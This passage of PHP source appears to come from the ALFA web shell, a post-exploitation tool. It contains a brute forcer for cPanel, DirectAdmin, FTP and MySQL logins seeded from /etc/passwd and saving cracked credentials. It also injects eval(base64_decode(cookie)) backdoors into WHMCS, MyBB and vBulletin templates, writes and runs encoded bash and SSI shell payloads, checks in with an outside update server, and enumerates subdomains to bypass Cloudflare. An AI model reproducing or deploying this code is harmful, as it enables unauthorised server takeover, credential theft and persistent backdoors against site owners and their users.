curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($curl, CURLOPT_HEADER, 0);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_HTTPHEADER, array("Authorization: Basic " . __ZW5jb2Rlcg($info['username'] . ":" . $info['password']) . "\n\r"));
curl_setopt($curl, CURLOPT_URL, $url);
$result = @curl_exec($curl);
$curl_errno = curl_errno($curl);
$curl_error = curl_error($curl);
if ($curl_errno > 0) {
echo "<font color='red'>Error: {$curl_error}</font><br>";
} elseif (preg_match('/filemanager/i', $result)) {
echo 'UserName: <font color="red">' . $info['username'] . '</font> PassWord: <font color="red">' . $info['password'] . '</font><font color="green"> Login Success....</font><br>';
$info['target'] = $url;
CrackerResualt($info);
}
curl_close($curl);
}
function Alfa_FTP_Cracker($info)
{
$url = $info['protocol'] . $info['target'];
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:17.0) Gecko/20100101 Firefox/17.0');
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_USERPWD, "" . $info['username'] . ":" . $info['password'] . "");
$result = @curl_exec($curl);
$curl_errno = curl_errno($curl);
$curl_error = curl_error($curl);
if ($curl_errno > 0) {
echo "<font color='red'>Error: {$curl_error}</font><br>";
} elseif (preg_match('/(\\d+):(\\d+)/i', $result)) {
echo 'UserName: <font color="red">' . $info['username'] . '</font> PassWord: <font color="red">' . $info['password'] . '</font><font color="green"> Login Success....</font><br>';
$info['target'] = $url;
CrackerResualt($info);
}
curl_close($curl);
}
function Alfa_Mysql_Cracker($info)
{
if (@mysqli_connect($info['target'] . ':' . $info['port'], $info['username'], $info['password'])) {
CrackerResualt($info);
echo 'UserName: <font color="red">' . $info['username'] . '</font> PassWord: <font color="red">' . $info['password'] . '</font><font color="green"> Login Success....</font><br>';
}
}
function Alfa_FTPC($info)
{
if ($con = @ftp_connect($info['target'], $info['port'])) {
if ($con) {
$login = @ftp_login($con, $info['username'], $info['password']);
if ($login) {
CrackerResualt($info);
}
}
}
@ftp_close($con);
}
function CrackerResualt($info)
{
$res = $info['target'] . ' => ' . $info['username'] . ":" . $info['password'] . "\n";
$c = @fopen($info['fcrack'], 'a+');
@fwrite($c, $res);
@fclose($c);
}
function Alfa_Call_Function_Cracker($method, $info)
{
switch ($method) {
case 'cp':
return Alfa_CP_Cracker($info);
case 'direct':
case 'phpmyadmin':
return Alfa_DirectAdmin_Cracker($info);
case 'ftp':
return Alfa_FTP_Cracker($info);
case 'mysql':
return Alfa_Mysql_Cracker($info);
case 'mysql':
return Alfa_FTPC($info);
}
}
function alfaCrackers()
{
alfahead();
AlfaNum(9, 10);
echo "<div class=\"header\"><center><br><div class=\"txtfont_header\">| Brute Forcer |</div><br><br><form method=\"post\" onsubmit=\"g('Crackers',null,this.target.value,this.port.value,this.usernames.value,this.passwords.value,this.fcrack.value,'start',this.protocol.value,this.loginpanel.value);return false;\"><div class=\"txtfont\">Login Page: <select onclick=\"dis_input(this.value);\" name=\"loginpanel\">";
foreach (array('cp' => 'Cpanel', 'direct' => 'DirectAdmin', 'ftp' => 'FTP', 'phpmyadmin' => 'PhpMyAdmin[DirectAdmin]', 'mysql' => 'mysql_connect()', 'ftpc' => 'ftp_connect()') as $key => $val) {
echo '<option value="' . $key . '">' . $val . '</option>';
}
echo "</select> Protocol: <select id=\"protocol\" name=\"protocol\">";
foreach (array('https://', 'http://', 'ftp://') as $val) {
echo '<option value="' . $val . '">' . $val . '</option>';
}
echo '</select> Website/ip Address: <input id="target" type="text" name="target" value="localhost">
Port: <input id="port" type="text" name="port" value="2083">
<table width="30%"><td align="center">Users List</td><td align="center">Passwords</td></table>
<textarea placeholder="Users" rows="20" cols="25" name="usernames">' . ($GLOBALS['sys'] == 'unix' ? alfaEx("cut -d: -f1 /etc/passwd") : "") . '</textarea>
  <textarea placeholder="Passwords" rows="20" cols="25" name="passwords"></textarea><br><br>
Save Result Into File <input type="text" name="fcrack" value="cracked.txt">
<p><input type="submit" name="cracking" value=" " /></div></form></p><center>';
$target = str_replace(array('https://', 'http://', 'ftp://'), '', $_POST['alfa1']);
$port = $_POST['alfa2'];
$usernames = $_POST['alfa3'];
$passwords = $_POST['alfa4'];
$fcrack = $_POST['alfa5'];
$cracking = $_POST['alfa6'];
$protocol = $_POST['alfa7'];
$loginpanel = $_POST['alfa8'];
$p = $loginpanel == 'phpmyadmin' ? $p = true : false;
if ($cracking == 'start') {
echo __pre();
$exuser = explode("\n", $usernames);
$expw = explode("\n", $passwords);
foreach ($exuser as $user) {
foreach ($expw as $pw) {
$array = array('username' => trim($user), 'password' => trim($pw), 'port' => trim($port), 'target' => trim($target), 'protocol' => trim($protocol), 'fcrack' => trim($fcrack), 'mysql' => $p);
Alfa_Call_Function_Cracker($loginpanel, $array);
}
}
echo "<br><font color=\"red\">Attack Finished...</font>";
}
echo "</div>";
alfafooter();
}
function output($string)
{
echo "<br><pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\"><br><center><font color=red><a target='_blank' href='" . $string . "'>Click Here !</a></font></b></center><br><br>";
}
function alfaShellInjectors()
{
alfahead();
echo "<div class=header>";
AlfaNum(11);
echo "<center><p><div class=\"txtfont_header\">| Cms Shell Injector |</div></p><center><h3><a href=javascript:void(0) onclick=\"g('ShellInjectors',null,'whmcs',null)\">| WHMCS | </a><a href=javascript:void(0) onclick=\"g('ShellInjectors',null,null,'mybb')\">| MyBB | </a><a href=javascript:void(0) onclick=\"g('ShellInjectors',null,null,null,'vb')\">| vBulletin |</a></h3></center>";
$selector = '<p><div class="txtfont">Shell Inject Method : </div> <select name="method" style="width:100px;"><option value="auto">AutoMatic</option><option value="man">Manuel</option></select></p>';
if (isset($_POST['alfa1']) && $_POST['alfa1'] == 'whmcs') {
AlfaNum();
echo __pre() . "<p><div class='txtfont_header'>| WHMCS |</div></p><center><center><p>" . getConfigHtml('whmcs') . "</p><form onSubmit=\"g('ShellInjectors',null,'whmcs',null,null,this.method.value,null,this.dbu.value,this.dbn.value,this.dbp.value,this.dbh.value,this.path.value); return false;\" method='post'>";
$table = array('td1' => array('color' => 'FFFFFF', 'tdName' => 'Path WHMCS Url : ', 'inputName' => 'path', 'inputValue' => 'http://site.com/whmcs', 'inputSize' => '50'), 'td2' => array('color' => 'FFFFFF', 'tdName' => 'Mysql Host : ', 'inputName' => 'dbh', 'id' => 'db_host', 'inputValue' => 'localhost', 'inputSize' => '50'), 'td3' => array('color' => 'FFFFFF', 'tdName' => 'Db Name : ', 'inputName' => 'dbn', 'id' => 'db_name', 'inputValue' => '', 'inputSize' => '50'), 'td4' => array('color' => 'FFFFFF', 'tdName' => 'Db User : ', 'inputName' => 'dbu', 'id' => 'db_user', 'inputValue' => '', 'inputSize' => '50'), 'td5' => array('color' => 'FFFFFF', 'tdName' => 'Db Pass : ', 'inputName' => 'dbp', 'id' => 'db_pw', 'inputValue' => '', 'inputSize' => '50'));
create_table($table);
echo "<p><div class=\"txtfont\">Shell Inject Method : </div> <select name=\"method\" style=\"width:100px;\"><option value=\"auto\">AutoMatic</option><option value=\"man\">Manuel</option></select></p>";
echo "<p><input type='submit' value=' '></p></form></center></td></tr></table></center>";
if (isset($_POST['alfa6'])) {
$dbu = $_POST['alfa6'];
$dbn = $_POST['alfa7'];
$dbp = $_POST['alfa8'];
$dbh = $_POST['alfa9'];
$path = $_POST['alfa10'];
$method = $_POST['alfa4'];
$index = "{php}ALFA_UPLOADER;{/php}";
$newin = "{php}ALFA_UPLOADER;{/php}";
$newindex = "<p>Dear {php}ALFA_UPLOADER;{/php},</p><p>Recently a request was submitted to reset your password for our client area. If you did not request this, please ignore this email. It will expire and become useless in 2 hours time.</p><p>To reset your password, please visit the url below:<br /><a href=\"{\$pw_reset_url}\">{\$pw_reset_url}</a></p><p>When you visit the link above, your password will be reset, and the new password will be emailed to you.</p><p>{\$signature}</p>{php}if(\$_COOKIE[\"sec\"] == \"123\"){eval(base64_decode(\$_COOKIE[\"sec2\"])); die(\"!\");}{\\/php}";
if (!empty($dbh) && !empty($dbu) && !empty($dbn) && !empty($index)) {
if (filter_var($path, FILTER_VALIDATE_URL)) {
$conn = mysqli_connect($dbh, $dbu, $dbp, $dbn) or die(mysqli_connect_error());
$soleSave = mysqli_query($conn, "select message from tblemailtemplates where name='Password Reset Validation'");
$soleGet = mysqli_fetch_assoc($soleSave);
$tempSave1 = $soleGet['message'];
$tempSave = str_replace("'", "\\'", $tempSave1);
mysqli_query($conn, "UPDATE tblconfiguration SET value = '1' WHERE setting = 'AllowSmartyPhpTags'") or die(mysqli_error($conn));
$inject = "UPDATE tblemailtemplates SET message='<p>Dear {php}ALFA_UPLOADER;{/php},</p><p>Recently a request was submitted to reset your password for our client area. If you did not request this, please ignore this email. It will expire and become useless in 2 hours time.</p><p>To reset your password, please visit the url below:<br /><a href=\"{\$pw_reset_url}\">{\$pw_reset_url}</a></p><p>When you visit the link above, your password will be reset, and the new password will be emailed to you.</p><p>{\$signature}</p>{php}if(\$_COOKIE[\"sec\"] == \"123\"){eval(base64_decode(\$_COOKIE[\"sec2\"])); die(\"!\");}{\\/php}' WHERE name='Password Reset Validation'";
$result = mysqli_query($conn, $inject) or die(mysqli_error($conn));
$create = "insert into tblclients (email) values('solevisible@fbi.gov')";
$result2 = mysqli_query($conn, $create) or die(mysqli_error($conn));
if (function_exists('curl_version') && $method == 'auto') {
$AlfaSole = new AlfaCURL(true);
$saveurl = $AlfaSole->Send($path . "/pwreset.php");
$getToken = preg_match("/name=\"token\" value=\"(.*?)\"/i", $saveurl, $token);
$AlfaSole->Send($path . "/pwreset.php", "post", "token={$token[1]}&action=reset&email=solevisible@fbi.gov");
$backdata = "UPDATE tblemailtemplates SET message='{$tempSave}' WHERE name='Password Reset Validation'";
$Solevisible = mysqli_query($conn, $backdata) or die(mysqli_error($conn));
__alert("shell injectet...");
$ff = 'http://' . $path . "/solevisible.php";
output($ff);
} else {
echo "<br><pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\"><br><center><b><font color=\"#FFFFFF\">Please go to Target => </font><a href='" . $path . "/pwreset.php' target='_blank'>" . $path . "/pwreset.php</a><br/><font color='#FFFFFF'> And Reset Password With Email</font> => <font color=red>solevisible@fbi.gov</font><br/><font color='#FFFFFF'>And Go To => </font><a href='" . $path . "/solevisible.php' target='_blank'>" . $path . "/solevisible.php</a></b></center><br><br>";
}
} else {
__alert('Path is not Valid...');
}
}
}
}
if (isset($_POST['alfa2']) && $_POST['alfa2'] == 'mybb') {
AlfaNum(1, 2, 3, 5);
echo __pre() . "<p><div class='txtfont_header'>| MyBB |</div></p><center><center>" . getConfigHtml("mybb") . "<form id='sendajax' onSubmit=\"g('ShellInjectors',null,null,'mybb',null,this.method.value,null,this.dbu.value,this.dbn.value,this.dbp.value,this.dbh.value,this.prefix.value); return false;\" method=POST>\r\n";
$table = array('td1' => array('color' => 'FFFFFF', 'tdName' => 'Host : ', 'inputName' => 'dbh', 'id' => 'db_host', 'inputValue' => 'localhost', 'inputSize' => '50'), 'td2' => array('color' => 'FFFFFF', 'tdName' => 'DataBase Name : ', 'inputName' => 'dbn', 'id' => 'db_name', 'inputValue' => '', 'inputSize' => '50'), 'td3' => array('color' => 'FFFFFF', 'tdName' => 'User Name : ', 'inputName' => 'dbu', 'id' => 'db_user', 'inputValue' => '', 'inputSize' => '50'), 'td4' => array('color' => 'FFFFFF', 'tdName' => 'Password : ', 'inputName' => 'dbp', 'id' => 'db_pw', 'inputValue' => '', 'inputSize' => '50'), 'td5' => array('color' => 'FFFFFF', 'tdName' => 'Table Prefix : ', 'inputName' => 'prefix', 'id' => 'db_prefix', 'inputValue' => 'mybb_', 'inputSize' => '50'));
create_table($table);
echo $selector;
echo "<p><input type=submit value=' '></p></form></center></center>";
if (isset($_POST['alfa6'])) {
$dbu = $_POST['alfa6'];
$dbn = $_POST['alfa7'];
$dbp = $_POST['alfa8'];
$dbh = $_POST['alfa9'];
$prefix = $_POST['alfa10'];
$method = $_POST['alfa4'];
$shellCode = "{\${ALFA_UPLOADER}}";
$newinshell = "{\${ALFA_UPLOADER}}";
if (!empty($dbh) && !empty($dbu) && !empty($dbn) && !empty($newinshell)) {
$conn = mysqli_connect($dbh, $dbu, $dbp, $dbn) or die(mysqli_error($conn));
$inject = "select template from {$prefix}templates where title= 'calendar'";
$result = mysqli_query($conn, $inject) or die(mysqli_error($conn));
$GetTemp = mysqli_fetch_assoc($result);
$saveDate = $GetTemp['template'];
$repsave = str_replace($shellCode, "", $saveDate);
$repsave = str_replace("'", "\\'", $repsave);
$createShell = "update {$prefix}templates SET template= '" . $newinshell . $repsave . "' where title = 'calendar'";
$result2 = mysqli_query($conn, $createShell) or die(mysqli_error($conn));
$geturl = "select value from {$prefix}settings where name= 'bburl'";
$findurl = mysqli_query($conn, $geturl) or die(mysqli_error($conn));
$rowb = mysqli_fetch_assoc($findurl);
$furl = $rowb['value'];
$realurl = parse_url($furl, PHP_URL_HOST);
$realpath = parse_url($furl, PHP_URL_PATH);
$res = false;
$AlfaCurl = new AlfaCURL();
if (extension_loaded('sockets') && function_exists('fsockopen') && $method == 'auto') {
if ($fsock = @fsockopen($realurl, 80, $errno, $errstr, 10)) {
@fputs($fsock, "GET {$realpath}/calendar.php HTTP/1.1\r\n");
@fputs($fsock, "HOST: {$realurl}\r\n");
@fputs($fsock, "Connection: close\r\n\r\n");
$check = fgets($fsock);
if (preg_match("/200 OK/i", $check)) {
$repairdbtemp = "update {$prefix}templates SET template= '{$repsave}' where title = 'calendar'";
$clear = mysqli_query($conn, $repairdbtemp) or die(mysqli_error($conn));
$res = true;
}
@fclose($fsock);
}
} elseif (function_exists('curl_version') && $method == 'auto') {
$AlfaCurl->Send($realurl . $realpath . "/calendar.php");
$res = true;
}
if ($res) {
$ff = 'http://' . $realurl . $realpath . "/solevisible.php";
output($ff);
} else {
$ff = 'http://' . $realurl . $realpath . "/calendar.php";
$fff = 'http://' . $realurl . $realpath . "/solevisible.php";
echo "<br><pre id='strOutput' style='margin-top:5px' class='ml1'><br><center><b><font color='#FFFFFF'>Please Go To Target => </font><a href='" . $ff . "' target='_blank'>" . $ff . "</a><br/><font color='#FFFFFF'>And Go To => </font><a href='" . $fff . "' target='_blank'>" . $fff . "</a></b></center><br><br>";
}
}
}
}
if (isset($_POST['alfa3']) && $_POST['alfa3'] == 'vb') {
AlfaNum(1, 2, 7, 9, 10);
echo __pre() . '<p><div class="txtfont_header">| vbulletin |</div></p><p>' . getConfigHtml('vb') . '</p><form name="frm" method="POST" onsubmit="g(\'ShellInjectors\',null,null,this.lo.value,\'vb\',this.user.value,this.pass.value,this.tab.value,this.db.value,this.method.value); return false;">';
$table = array('td1' => array('color' => 'FFFFFF', 'tdName' => 'Host : ', 'inputName' => 'lo', 'id' => 'db_host', 'inputValue' => 'localhost', 'inputSize' => '50'), 'td2' => array('color' => 'FFFFFF', 'tdName' => 'DataBase Name : ', 'inputName' => 'db', 'id' => 'db_name', 'inputValue' => '', 'inputSize' => '50'), 'td3' => array('color' => 'FFFFFF', 'tdName' => 'User Name : ', 'inputName' => 'user', 'id' => 'db_user', 'inputValue' => '', 'inputSize' => '50'), 'td4' => array('color' => 'FFFFFF', 'tdName' => 'Password : ', 'inputName' => 'pass', 'id' => 'db_pw', 'inputValue' => '', 'inputSize' => '50'), 'td5' => array('color' => 'FFFFFF', 'tdName' => 'Table Prefix : ', 'inputName' => 'tab', 'id' => 'db_prefix', 'inputValue' => '', 'inputSize' => '50'));
create_table($table);
echo $selector;
echo "<p><input type=\"submit\" value=\" \" /></p></form></center>";
if (isset($_POST['alfa4']) && !empty($_POST['alfa4'])) {
$method = $_POST['alfa8'];
$faq_name = "faq";
$faq_file = "/faq.php";
$code = "{\${ALFA_UPLOADER}}{\${exit()}}&";
$conn = @mysqli_connect($_POST['alfa2'], $_POST['alfa4'], $_POST['alfa5'], $_POST['alfa7']) or die(@mysqli_connect_error());
$rec = "select `template` from " . $_POST['alfa6'] . "template WHERE title ='" . $faq_name . "'";
$recivedata = @mysqli_query($conn, $rec);
$getd = @mysqli_fetch_assoc($recivedata);
$savetoass = $getd['template'];
if (empty($savetoass)) {
$faq_name = "header";
$faq_file = "/";
$rec = "select `template` from " . $_POST['alfa6'] . "template WHERE title ='" . $faq_name . "'";
$recivedata = @mysqli_query($conn, $rec);
$getd = @mysqli_fetch_assoc($recivedata);
$savetoass = $getd['template'];
$code = "ALFA_UPLOADER;";
}
$code = str_replace("'", "\\'", $code);
$p = "UPDATE " . $_POST['alfa6'] . "template SET `template`='" . $code . "' WHERE `title`='" . $faq_name . "'";
$ka = @mysqli_query($conn, $p) or die(mysqli_error($conn));
$geturl = @mysqli_query($conn, "select `value` from " . $_POST['alfa6'] . "setting WHERE `varname`='bburl'");
$getval = @mysqli_fetch_assoc($geturl);
$saveval = $getval['value'];
if ($faq_name == "header") {
if (substr($saveval, -5, 5) == "/core") {
$saveval = substr($saveval, 0, -5);
}
}
$realurl = parse_url($saveval, PHP_URL_HOST);
$realpath = parse_url($saveval, PHP_URL_PATH);
$res = false;
$AlfaCurl = new AlfaCURL();
if (extension_loaded('sockets') && function_exists('fsockopen') && $method == 'auto') {
if ($fsock = @fsockopen($realurl, 80, $errno, $errstr, 10)) {
@fputs($fsock, "GET {$realpath}.{$faq_file} HTTP/1.1\r\n");
@fputs($fsock, "HOST: {$realurl}\r\n");
@fputs($fsock, "Connection: close\r\n\r\n");
$check = fgets($fsock);
if (preg_match("/200 OK/i", $check)) {
$p1 = "UPDATE " . $_POST['alfa6'] . "template SET template ='" . mysqli_real_escape_string($conn, $savetoass) . "' WHERE title ='" . $faq_name . "'";
$ka1 = @mysqli_query($conn, $p1) or die(mysqli_error($conn));
$res = true;
}
@fclose($fsock);
}
} elseif (function_exists('curl_version') && $method == 'auto') {
$AlfaCurl->Send($realurl . $realpath . $faq_file);
$p1 = "UPDATE " . $_POST['alfa6'] . "template SET template ='" . mysqli_real_escape_string($conn, $savetoass) . "' WHERE title ='" . $faq_name . "'";
$ka1 = @mysqli_query($conn, $p1) or die(mysqli_error($conn));
$res = true;
}
if ($res) {
$ff = 'http://' . $realurl . $realpath . "/solevisible.php";
output($ff);
} else {
$ff = 'http://' . $realurl . $realpath . $faq_file;
$fff = 'http://' . $realurl . $realpath . "/solevisible.php";
echo "<center><p><font color=\"#FFFFFF\">First Open This Link => </font><a href='" . $ff . "' target='_blank'>" . $ff . "</a><br/><font color=\"#FFFFFF\">Second Open This Link => </font><a href='" . $fff . "' target='_blank'>" . $fff . "</a></center></p>";
}
}
}
echo "</div>";
alfafooter();
}
function alfacheckfiletype()
{
$path = $_POST['path'];
$arg = $_POST['arg'];
if (@is_file($path . '/' . $arg)) {
echo "file";
} else {
echo "dir";
}
}
function alfacheckupdate()
{
if ($GLOBALS["DB_NAME"]["cgi_api"]) {
if (!isset($_COOKIE["alfacgiapi_mode"]) && !isset($_COOKIE["alfacgiapi"])) {
_alfa_cgicmd("whoami", "perl", true);
if (strlen(alfaEx("whoami", false, true)) > 0) {
__alfa_set_cookie("alfa_canruncmd", "true");
}
}
}
if (function_exists("curl_version")) {
$update = new AlfaCURL();
$json = $update->Send("http://solevisible.com/update.json?ver=4.1");
$json = @json_decode($json, true);
$data = array();
if ($json) {
if (!isset($_COOKIE['alfa_checkupdate']) && !empty($json["type"])) {
if ($json["type"] == "update") {
if (__ALFA_VERSION__ != $json['version'] || __ALFA_UPDATE__ != $json['version_number']) {
@setcookie("alfa_checkupdate", "1", time() + 86400);
$data["content"] = '<div class="update-holder">' . $json["content"] . '</div>';
}
}
}
if (isset($json["ads"]) && !empty($json["ads"])) {
$data["content"] .= $json["ads"];
}
if (isset($json["copyright"]) && !empty($json["copyright"])) {
$data["copyright"] = $json["copyright"];
}
if (isset($json["solevisible"]) && !empty($json["solevisible"])) {
$data["solevisible"] = $json["solevisible"];
}
if (isset($json["code_name"]) && !empty($json["code_name"])) {
$data["code_name"] = $json["code_name"];
$data["version_number"] = __ALFA_VERSION__;
}
if (isset($json["market"]) && !empty($json["market"])) {
$data["market"] = $json["market"];
}
echo @json_encode($data);
}
}
}
function alfaWriteTocgiapi($name, $source)
{
$temp = "";
$not_api = array("basedir.alfa", "getdir.alfa", "getheader.alfa");
if (in_array($name, $not_api)) {
$temp = ALFA_TEMPDIR;
if ($temp) {
@chdir($temp);
}
} else {
alfaCreateParentFolder();
@chdir($GLOBALS['home_cwd'] . "/" . __ALFA_DATA_FOLDER__);
}
@mkdir('alfacgiapi', 0755);
__write_file("alfacgiapi/" . $name, __get_resource($source));
@chmod("alfacgiapi/" . $name, 0755);
return $temp;
}
function alfacheckcgi()
{
if (strlen(alfaEx("id", false, true, true)) > 0) {
echo "ok";
} else {
echo "no";
}
}
function alfaupdateheader()
{
if (!isset($_COOKIE["updateheader_data"])) {
$bash = "zZRdb9owFIavya849dIGJLK0vVyFNFTohERBgtFdQIRM4hAL40R2UkYp/312gPARqLqbaYnyIfs8x+85r+UvV04qhTOh3JGhMeg3nwbtWnnqecDUoz8+zPGMQBzGEBPBIF4mYcRBpJMlJFjA9I3GMNm+MAvwPXCFRR5OCMiU+pqqGI3ur067W280e/1aeTElCQQk8UJgS/4bGOUzCV6q0usZtojtORUiEhWDeGEENgFrhVJJgpShb8ORZxlBJIAC5WCuNqqH3931A/iRAepahNQLa2Y5+4JJK0ZpOIQrsN8AmdkgAteFmxvY5R8hk45Q1VK5q4YfcZKvjEbqdqsjD+3FID9acBZhn4iinoNS/62olOM5UXqQZZazf7AxvKu+JmB7d/bd/W3FyiDrEJJEUH9LyQTrWEDXKQzhegAuUtpu0RluKqI0PgNONfjjA9CP5phyqUE98dLq/RzU2+NG97ne6vRryFH7wnmlIkkxczbBqtlESGR06s/Nxvix23nahuki/a9exANkvNTbrXq/mWfAjGJJpKNneuMMVVOvWGwoNU4DUAbobponKrQRD5CEhBulbZT4OKq0K9As48UMrGansYoF5Ql0emsLTtEK7PqgLYQSYftljhpwYQ0mC3HvsPDAZseZjxKb+/79jfQ9VcgtyQGOHrFiegT7aguc2ANuRgTUyAWRgiC99XNDtm4Wx7deXrLogLvQt4OYsz07duP8isWUedB/7sOnXbgs9KT2w6CzxW/0fX6baH35ceGu1SnxBw==";
$realdir = addslashes(dirname($_SERVER["SCRIPT_FILENAME"]));
$tmp_path = alfaWriteTocgiapi("getheader.alfa", $bash);
$data = alfaEx("cd '{$tmp_path}/alfacgiapi';sh getheader.alfa", false, true, true);
if (@is_array(@json_decode($data, true))) {
__alfa_set_cookie("updateheader_data", __ZW5jb2Rlcg($data));
echo $data;
}
} else {
echo __ZGVjb2Rlcg($_COOKIE["updateheader_data"]);
}
}
function alfassiShell()
{
alfahead();
echo "<div class=header>";
alfaCreateParentFolder();
@chdir($GLOBALS['home_cwd'] . "/" . __ALFA_DATA_FOLDER__);
@mkdir('alfa_shtml', 0755);
@chdir('alfa_shtml');
alfacgihtaccess('shtml');
$code = 'rVb9b9s2EP1Xrky22MhsKcu6ptbH0A+vzYbCXeztl6YoZImS2VCkQFJOvCX/+46SrChOnKRBA8ORyOPju3ePR/vPBoOdWIqUZUCVynUWkE9jpaT6TAaD0O9Ma/YvTXMTkPnKUN3OshToRaEC0jslu+9ns49f3kwmfx6PTwkEcEpOSR8uL8FOnoz/+ns8nX35MJ69n7zF+Wc24N14hjEE1niaGlhGiKcXnOATL2lAuIYBj66DKNf03hVdJterRIJs8Q2+C/OPk+kW6kzELXVnOLzjQ03sFJHW58lDSXWwNpOCzawWJuehv6BREvqGGU7DVzyNYEajHKbTY5guKOe+U0/5OlasMMAjkZVRhlS/RsuoHiRhWorYMCkgkcz0IJcJhT78x9IejsRlToUZxlKeMWrFIMROIl+oxzQquBE21AW3SMTDWC+VqmfzA4aRrof//PXSIaciMwsP9vcZ9Dc3C9Zhn3DNZ9hHPCwiU1QHs0X5E7gH8Eck4ODlCxdcd1R94N2HGfGubkO1Ixk1Y07t4+vVcbJOd1jJ7rVRXMaR1WSoKJdR0ut7V61MRmYZpz1giVViO7KdH2qz4nSYMJQkWiGP3jeFo9xCCor2/A3IHEmdERg1Y96V79QlDH2nNsJcJiuQwjIOyLaN9mKZ55FI9vrDFEM05kZgnsWSS/Tgjlv9EYg4E2fYAVAWNGXnBbdRoZ+wZejHiEnxZXEY+qkUBtYgz1/G8eEhCS/hDlfCpe/YaEsbFzprFAvbPod+2WDaZhSQ/QOCmcWcxcijqcAeFcs9y75SLSBxqbRUo0IyC+JVZEaKJh4Jx2LJlLQaABOpbAngJs68wwHTwkIEBJFb2KYaI6t6A7rz64tXr9/+7jViFIrWR7lQdmuxtEfbqUbttFOJVX/f0u5xmWK/e2Smb+rqAh470HUT2JJrTchmjLXOBKJWEwTOWWIWATlw3R/QGVIlFGuKlrDCVI23YTGP4rNMyVIkg0aW2jzezZ57/31QNcUbEt9sdY3E8w2H1QWwhUXK0Fi6TXUejn4Uc1143W8EUDnk1CwkJoKnwuqsy3nOjD0t2LGuj4atLBNFacCsCkzV0AsMrwt01EjRBJOwge/G17DtzXBSCgR0LIFbPt8o/WaCJ1SX3HQyu3lgLLFI0ahzgukv1E2OKiSNVfwZQZU8t4/PSXP9XNAY4jwJdrGc1T3krHHwaql8AX5r129zKl5ij3TqpKCqarIaUSBlnOoHz2V1RT7Srt/JpfXdX9m0Rny6Wf9h9LxKFHrYjkwZcexGMS8T2h91KvyQdQup7/Du0gLf69wjt9KwCnySa7flNUX0BxLYtrTSL7X0oJEk2EVNrJj1yuonaNf+T3Z9I/WtfTrmv9WuHXul2ovK/tz6Hw==';
@__write_file('alfa_ssi.shtml', __get_resource($code));
@chmod("alfa_ssi.shtml", 0755);
echo AlfaiFrameCreator('alfa_shtml/alfa_ssi.shtml');
echo "</div>";
alfafooter();
}
function alfacloudflare()
{
alfahead();
AlfaNum(8, 9, 10, 7, 6, 5, 4, 3);
echo "<div class=header><center><br><div class='txtfont_header'>| Cloud Flare ByPasser |</div><br><form action='' onsubmit=\"g('cloudflare',null,this.url.value,'>>'); return false;\" method='post'>\r\n<p><div class='txtfont'>Target:</div> <input type='text' size=30 name='url' style='text-align:center;' placeholder=\"target.com\"> <input type='submit' name='go' value=' ' /></p></form></center>";
if ($_POST['alfa2'] && $_POST['alfa2'] == '>>') {
$url = $_POST['alfa1'];
if (!preg_match('/^(https?):\\/\\/(w{3}|w3)\\./i', $url)) {
$url = preg_replace('/^(https?):\\/\\//', '', $url);
$url = "http://www." . $url;
}
$headers = @get_headers($url, 1);
$server = $headers['Server'];
$subs = array('owa.', '2tty.', 'm.', 'gw.', 'mx1.', 'store.', '1', '2', 'vb.', 'news.', 'download.', 'video', 'cpanel.', 'ftp.', 'server1.', 'cdn.', 'cdn2.', 'ns.', 'ns3.', 'mail.', 'webmail.', 'direct.', 'direct-connect.', 'record.', 'ssl.', 'dns.', 'help.', 'blog.', 'irc.', 'forum.', 'dl.', 'my.', 'cp.', 'portal.', 'kb.', 'support.', 'search.', 'docs.', 'files.', 'accounts.', 'secure.', 'register.', 'apps.', 'beta.', 'demo.', 'smtp.', 'ns2.', 'ns1.', 'server.', 'shop.', 'host.', 'web.', 'cloud.', 'api.', 'exchange.', 'app.', 'vps.', 'owa.', 'sat.', 'bbs.', 'movie.', 'music.', 'art.', 'fusion.', 'maps.', 'forums.', 'acc.', 'cc.', 'dev.', 'ww42.', 'wiki.', 'clients.', 'client.', 'books.', 'answers.', 'service.', 'groups.', 'images.', 'upload.', 'up.', 'tube.', 'users.', 'admin.', 'administrator.', 'private.', 'design.', 'whmcs.', 'wp.', 'wordpress.', 'joomla.', 'vbulletin.', 'test.', 'developer.', 'panel.', 'contact.');
if (preg_match('/^(https?):\\/\\/(w{3}|w3)\\./i', $url, $matches)) {
if ($matches[2] != 'www') {
$url = preg_replace('/^(https?):\\/\\//', '', $url);
} else {
$url = explode($matches[0], $url);
$url = $url[1];
}
}
if (is_array($server)) {
$server = $server[0];
}
echo __pre();
if (preg_match('/cloudflare/i', $server)) {
echo "\n[+] CloudFlare detected: {$server}\n<br>";
} else {
echo "\n[+] CloudFlare wasn't detected, proceeding anyway.\n";
}
echo '[+] CloudFlare IP: ' . is_ipv4(gethostbyname($url)) . "\n\n<br><br>";
echo "[+] Searching for more IP addresses.\n\n<br><br>";
for ($x = 0; $x < count($subs); $x++) {
$site = $subs[$x] . $url;
$ip = is_ipv4(gethostbyname($site));
if ($ip == '(Null)') {
continue;
}
echo "Trying {$site}: {$ip}\n<br>";
}
echo "\n[+] Finished.\n<br>";
}
echo "</div>";
alfafooter();
}
function is_ipv4($ip)
{
return filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4) ? $ip : '(Null)';
}
function __alert($s)
{
echo '<center>' . __pre() . $s . '</center>';
}
function create_table($data)
{
echo "<table border=\"1\">";
foreach ($data as $key => $val) {
$array = array();
foreach ($val as $k => $v) {
$array[$k] = $v;
}
echo "<tr><td><div class='tbltxt'>" . $array['tdName'] . "</div></td><td><input type='text' id='" . $array['id'] . "' name='" . $array['inputName'] . "' " . ($array['placeholder'] ? 'placeholder' : 'value') . "='" . $array['inputValue'] . "' size='" . $array['inputSize'] . "' " . ($array['disabled'] ? 'disabled' : '') . "></td></tr>";
}
echo "</table>";
}
function alfaphp2xml()
{
alfahead();
AlfaNum(8, 9, 10, 7, 6, 5, 4, 3);
